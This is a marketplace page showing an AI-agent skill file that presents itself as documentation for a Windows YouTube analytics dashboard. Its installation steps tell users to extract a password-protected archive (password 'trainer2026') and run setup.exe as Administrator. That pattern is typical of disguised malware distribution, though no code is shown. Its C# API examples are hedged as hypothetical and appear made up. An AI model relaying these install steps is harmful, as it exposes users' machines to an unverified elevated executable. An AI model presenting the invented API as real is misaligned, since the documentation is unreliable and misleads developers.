Skip to main content

youtube-channel-analytics-dashboard

Dashboard tool for analyzing YouTube channel metrics including views, watch time, subscriber growth, revenue, and audience demographics with real-time data visualization.

Aller à l'installation

Informations de source

Dépôt
reason-machines/data-skills
Dernière activité de la source
2 juillet 2026 à 20:52
Langue détectée de SKILL.md
anglais
Étoiles
5
Forks
1

Options d'installation

Le prompt qui vérifie d'abord la source est sélectionné par défaut. Vous pouvez passer à une commande directe ou télécharger une copie locale.

Vérifiez les fichiers source

Lisez SKILL.md et les fichiers associés affichés par SkillsMP avant de décider de l'installer.

Affichage de SKILL.md

SKILL.md
Instructions source · Aperçu en lecture seule
name
youtube-channel-analytics-dashboard
description
Dashboard tool for analyzing YouTube channel metrics including views, watch time, subscriber growth, revenue, and audience demographics with real-time data visualization.
triggers
["analyze my YouTube channel performance","track YouTube subscriber growth over time","visualize YouTube analytics data","monitor YouTube channel revenue and demographics","export YouTube analytics reports","create a YouTube channel dashboard","show YouTube video performance metrics","generate YouTube audience insights"]
# YouTube Channel Analytics Dashboard > Skill by [ara.so](https://ara.so) — Data Skills collection. ## Overview YouTube Channel Analytics Dashboard is a comprehensive analytics tool that provides real-time and historical insights into YouTube channel performance. It tracks views, watch time, subscriber growth, revenue estimates, and audience demographics through an interactive dashboard interface. **Key capabilities:** - Real-time statistics monitoring (views, subscribers) - Historical trend visualization with growth charts - Revenue tracking and estimates - Audience demographics and geographic mapping - Video-level performance analysis - Report export (CSV/PDF formats) ## Installation ### Windows Setup 1. Download the package from the repository releases 2. Extract the archive (password: `trainer2026`) 3. Run `setup.exe` as Administrator 4. Follow the configuration wizard ### Requirements - **OS:** Windows 10/11 (64-bit) - **Runtime:** .NET Framework 4.8+ or Visual C++ Redistributable - **Architecture:** x64 ### Configuration Create a configuration file `config.json` in the application directory: ```json { "youtube": { "api_key": "${YOUTUBE_API_KEY}", "channel_id": "${YOUTUBE_CHANNEL_ID}" }, "refresh_interval": 300, "data_retention_days": 90, "export": { "default_format": "csv", "output_directory": "./exports" }, "dashboard": { "theme": "light", "auto_refresh": true } } ``` ### Environment Variables Set these environment variables for API authentication: ```bash YOUTUBE_API_KEY=your_youtube_api_key_here YOUTUBE_CHANNEL_ID=your_channel_id_here YOUTUBE_DATA_API_VERSION=v3 ``` ## Core Functionality ### Connecting to YouTube API The dashboard integrates with YouTube Data API v3. Ensure you have: 1. A Google Cloud project with YouTube Data API enabled 2. OAuth 2.0 credentials or API key 3. Proper scopes: `youtube.readonly`, `yt-analytics.readonly` ### Key Metrics Tracked | Metric | Description | Update Frequency | |--------|-------------|------------------| | Views | Total and daily video views | Real-time | | Watch Time | Total minutes watched | Hourly | | Subscribers | Current count and growth | Real-time | | Revenue | Estimated earnings (CPM-based) | Daily | | Demographics | Age, gender, geography | Daily | | Engagement | Likes, comments, shares | Hourly | ## Usage Patterns ### Launching the Dashboard ```bash # Standard launch .\YouTubeAnalytics.exe # With custom config .\YouTubeAnalytics.exe --config custom_config.json # Debug mode .\YouTubeAnalytics.exe --debug --verbose ``` ### Command-Line Interface ```bash # Export current analytics to CSV .\YouTubeAnalytics.exe --export csv --output ./reports/analytics.csv # Export specific date range .\YouTubeAnalytics.exe --export pdf --from 2026-01-01 --to 2026-06-30 # Generate subscriber growth report .\YouTubeAnalytics.exe --report subscribers --period 30d # Fetch real-time stats only .\YouTubeAnalytics.exe --realtime --format json ``` ### API Integration (If Extensible) If the tool provides a scriptable interface or API: ```csharp using YouTubeAnalytics.Core; using YouTubeAnalytics.Models; // Initialize the analytics client var config = new AnalyticsConfig { ApiKey = Environment.GetEnvironmentVariable("YOUTUBE_API_KEY"), ChannelId = Environment.GetEnvironmentVariable("YOUTUBE_CHANNEL_ID"), RefreshInterval = TimeSpan.FromMinutes(5) }; var client = new YouTubeAnalyticsClient(config); // Fetch real-time statistics var stats = await client.GetRealtimeStatsAsync(); Console.WriteLine($"Current Subscribers: {stats.SubscriberCount}"); Console.WriteLine($"Total Views: {stats.TotalViews}"); // Get historical data var history = await client.GetHistoricalDataAsync( startDate: DateTime.Now.AddDays(-30), endDate: DateTime.Now, metrics: new[] { "views", "subscribersGained", "estimatedRevenue" } ); // Analyze top performing videos var topVideos = await client.GetTopVideosAsync( period: TimePeriod.Last30Days, metric: VideoMetric.Views, limit: 10 ); foreach (var video in topVideos) { Console.WriteLine($"{video.Title}: {video.Views:N0} views"); } // Export to CSV var exporter = new DataExporter(client); await exporter.ExportToCsvAsync( "./exports/monthly_report.csv", startDate: DateTime.Now.AddMonths(-1), endDate: DateTime.Now ); ``` ### Automation Scripts ```csharp // Scheduled daily report generation using YouTubeAnalytics.Automation; var scheduler = new ReportScheduler(client); scheduler.ScheduleDailyReport( time: new TimeSpan(9, 0, 0), // 9 AM reportType: ReportType.DailySummary, recipients: new[] { "team@example.com" }, format: ExportFormat.PDF ); // Alert on subscriber milestones scheduler.AddAlert(new SubscriberMilestoneAlert { Milestone = 10000, NotificationMethod = NotificationMethod.Email, Recipient = "notifications@example.com" }); ``` ## Data Analysis Patterns ### Subscriber Growth Analysis ```csharp // Calculate growth rate var growth = await client.GetSubscriberGrowthAsync( period: TimePeriod.Last90Days ); var avgDailyGrowth = growth.Sum(d => d.NewSubscribers) / growth.Count; var growthRate = (growth.Last().TotalSubscribers - growth.First().TotalSubscribers) / (double)growth.First().TotalSubscribers * 100; Console.WriteLine($"Average daily growth: {avgDailyGrowth:F1} subscribers"); Console.WriteLine($"90-day growth rate: {growthRate:F2}%"); ``` ### Revenue Tracking ```csharp // Estimate revenue by video var revenueData = await client.GetRevenueBreakdownAsync( startDate: DateTime.Now.AddMonths(-1), endDate: DateTime.Now, groupBy: RevenueGrouping.ByVideo ); var topEarners = revenueData .OrderByDescending(v => v.EstimatedRevenue) .Take(10); foreach (var video in topEarners) { Console.WriteLine($"{video.Title}: ${video.EstimatedRevenue:F2}"); } ``` ### Audience Demographics ```csharp // Analyze audience location var demographics = await client.GetAudienceDemographicsAsync(); var topCountries = demographics.Geography .OrderByDescending(g => g.ViewPercentage) .Take(5); Console.WriteLine("Top 5 Countries:"); foreach (var country in topCountries) { Console.WriteLine($" {country.Name}: {country.ViewPercentage:F1}%"); } // Age distribution var ageGroups = demographics.AgeDistribution; Console.WriteLine($"Primary audience age: {ageGroups.MaxBy(a => a.Percentage).AgeRange}"); ``` ## Dashboard Customization ### Creating Custom Views If the dashboard supports custom panels: ```csharp // Define a custom dashboard layout var dashboard = new DashboardLayout(); dashboard.AddPanel(new Panel { Type = PanelType.LineChart, Title = "Subscriber Growth", DataSource = DataSource.SubscriberHistory, Position = new Position(0, 0), Size = new Size(2, 1) }); dashboard.AddPanel(new Panel { Type = PanelType.Gauge, Title = "Real-time Views", DataSource = DataSource.RealtimeViews, Position = new Position(2, 0), Size = new Size(1, 1) }); dashboard.AddPanel(new Panel { Type = PanelType.Map, Title = "Audience Geography", DataSource = DataSource.Geography, Position = new Position(0, 1), Size = new Size(3, 1) }); await dashboard.SaveAsync("custom_layout.json"); ``` ## Export and Reporting ### CSV Export ```bash # Export all metrics .\YouTubeAnalytics.exe --export csv --metrics all --output report.csv # Export specific metrics .\YouTubeAnalytics.exe --export csv --metrics views,subscribers,revenue --from 2026-01-01 ``` ### PDF Report Generation ```csharp using YouTubeAnalytics.Reporting; var reportGenerator = new PdfReportGenerator(client); var report = await reportGenerator.GenerateAsync(new ReportOptions { Title = "Monthly Performance Report", Period = new DateRange(DateTime.Now.AddMonths(-1), DateTime.Now), Sections = new[] { ReportSection.Overview, ReportSection.SubscriberGrowth, ReportSection.TopVideos, ReportSection.AudienceDemographics, ReportSection.RevenueEstimate }, IncludeCharts = true, BrandingLogo = "./logo.png" }); await report.SaveAsync("./reports/monthly_report.pdf"); ``` ## Troubleshooting ### API Connection Issues **Problem:** Dashboard fails to connect to YouTube API **Solutions:** - Verify `YOUTUBE_API_KEY` is set correctly - Check API quota limits in Google Cloud Console - Ensure YouTube Data API v3 is enabled - Verify channel ID format (should start with "UC") ```bash # Test API connection .\YouTubeAnalytics.exe --test-connection --verbose ``` ### Missing Data **Problem:** Some metrics show no data or zero values **Solutions:** - Ensure OAuth scopes include `yt-analytics.readonly` - Check date range (revenue data may have 2-3 day delay) - Verify channel has sufficient history (minimum 7 days) - Re-authenticate if token expired ```csharp // Force data refresh await client.RefreshAllMetricsAsync(forceUpdate: true); ``` ### Export Failures **Problem:** CSV/PDF export hangs or fails **Solutions:** - Check disk space in output directory - Reduce date range for large datasets - Verify write permissions on output folder - Use smaller metric subset ```bash # Export with limited data .\YouTubeAnalytics.exe --export csv --metrics views,subscribers --limit 1000 ``` ### High Memory Usage **Problem:** Dashboard consumes excessive memory with large datasets **Solutions:** - Reduce `data_retention_days` in config - Enable data pagination for exports - Clear cache regularly ```json { "performance": { "enable_caching": true, "cache_max_size_mb": 500, "auto_cleanup": true } } ``` ## Best Practices 1. **API Quota Management:** Monitor YouTube API quota usage to avoid rate limits (default: 10,000 units/day) 2. **Data Retention:** Set appropriate retention periods to balance history vs. performance 3. **Scheduled Exports:** Automate weekly/monthly reports for consistent tracking 4. **Multiple Channels:** Use separate config files for managing multiple channels 5. **Backup Data:** Regularly export historical data before rotating logs ## Advanced Features ### Webhook Integration ```csharp // Set up webhook for real-time alerts var webhookConfig = new WebhookConfig { Url = "https://your-server.com/youtube-webhook", Events = new[] { "subscriber_milestone", "viral_video", "revenue_threshold" }, Secret = Environment.GetEnvironmentVariable("WEBHOOK_SECRET") }; await client.ConfigureWebhookAsync(webhookConfig); ``` ### Comparison Analytics ```csharp // Compare two time periods var comparison = await client.ComparePeriodsAsync( period1: new DateRange(DateTime.Now.AddMonths(-2), DateTime.Now.AddMonths(-1)), period2: new DateRange(DateTime.Now.AddMonths(-1), DateTime.Now), metrics: new[] { "views", "subscribers", "watchTime" } ); Console.WriteLine($"Views change: {comparison.Views.PercentChange:F1}%"); Console.WriteLine($"Subscriber change: {comparison.Subscribers.PercentChange:F1}%"); ``` This skill enables AI agents to help developers effectively use YouTube Channel Analytics Dashboard for comprehensive channel performance monitoring and reporting.
Voir sur GitHub